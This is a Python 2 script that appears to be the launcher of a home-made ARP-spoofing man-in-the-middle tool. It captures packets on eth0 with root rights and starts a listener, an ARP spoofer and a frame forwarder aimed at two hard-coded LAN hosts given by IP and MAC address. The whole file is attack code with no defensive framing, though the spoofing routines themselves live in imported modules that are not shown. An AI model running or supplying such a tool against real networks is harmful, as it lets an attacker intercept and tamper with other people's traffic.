#!/usr/bin/python
import os
import sys
import dpkt
import pcap
from netBuffer import NetBuffer
from netIndex import NetIndex
from netListener import NetListener
from netArpSpoof import ArpSpoofManInMiddle
from netFrameForwarder import NetFrameForwarder
from netFunctions import *




if __name__ == "__main__":
    if os.getuid() != 0:
        print "This script must be executed as root (sudo)!"
        sys.exit(0)

    intf = "eth0"
    pc = pcap.pcap(intf,65535,True,True)
    pc.setnonblock(1)
    protocols = [
                 dpkt.ethernet.ETH_TYPE_IP,
                 ]
    
    host1 = { 
             "ip":sti("192.168.1.104"),           #192.168.1.104
             "mac":stm("90:e6:ba:d4:78:36"),
             }
    host2 = { 
             "ip":sti("192.168.1.200"),           #192.168.1.200
             "mac":stm("00:1e:8c:00:38:97"),
             } 

    
    inbuffer = NetBuffer()
    
    listener = NetListener(intf,pc,inbuffer,protocols)
    spoofer = ArpSpoofManInMiddle(pc,host1,host2,intf)
    forwarder = NetFrameForwarder(pc,inbuffer,intf,host1,host2)

    print "Starting NetworkListener... (",listener.name,")"
    listener.start()
    print "Starting ArpSpoofer... (",spoofer.name,")"
    spoofer.start()
    print "Starting FrameForwarder...(",forwarder.name,")"
    forwarder.start()
    
    while True:
        userinput = raw_input()
        if userinput == "quit":
            print "Stopping FrameForwarder! (",forwarder.name,")"
            forwarder.stop()
            print "Stopping ArpSpoofer! (",spoofer.name,")"
            spoofer.stop()
            print "Stopping NetworkListener! (",listener.name,")"
            listener.stop()            
            break;
    print pc.stats()
